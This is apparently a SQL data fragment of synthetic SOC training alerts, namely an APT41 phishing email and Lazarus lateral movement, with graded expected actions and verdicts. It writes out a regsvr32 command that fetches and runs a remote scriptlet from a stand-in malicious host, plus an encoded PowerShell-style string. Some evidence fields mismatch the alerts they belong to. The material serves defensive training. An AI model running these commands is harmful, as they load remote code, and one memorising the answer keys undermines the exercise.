W3Bhc3N3b3JkID0gJ1Bhc3N3b3JkMTIzJyA7IFtzeXN0ZW0uTmV0LlNlcnZpY2VzLkRucENsaWVudF0uR2V0SG9zdEJ5TmFtZSgnY21kLmRvbWFpbi5jb20nKS5BZGRyZXNz\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Encoded command leading to potential C2 communication\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was identified as a spear-phishing attempt due to the encoded PowerShell command targeting internal HR systems.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"APT41 Spear-Phishing Attack with Encoded PowerShell Command\",\"date\":\"2026-03-02T13:55:06.962Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1417, 'Lazarus Group Lateral Movement via LOLBins', 'high', 'Wazuh', 'Detected usage of regsvr32 for executing a malicious script internally, indicating lateral movement attempts by Lazarus Group.', 'Lateral Movement', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:45:21Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.1.3.25\",\"dst_ip\":\"10.1.3.30\",\"username\":\"service.admin\",\"hostname\":\"Finance-Server-03\",\"command_line\":\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\"}', '2026-03-02 03:14:56', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.3.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the source machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.3.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the destination machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Command associated with malicious activity for lateral movement\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Usage of regsvr32 to execute scripts is a known technique for lateral movement, matching patterns used by Lazarus Group.\"}', 'Advanced', 'MAL', 7, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.963Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:45:21Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.1.3.25\\\",\\\"dst_ip\\\":\\\"10.1.3.30\\\",\\\"username\\\":\\\"service.admin\\\",\\\"hostname\\\":\\\"Finance-Server-03\\\",\\\"command_line\\\":\\\"regsvr32 /s /n /u /i:http://malicious-site.com/script.sct scrobj.dll\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0);
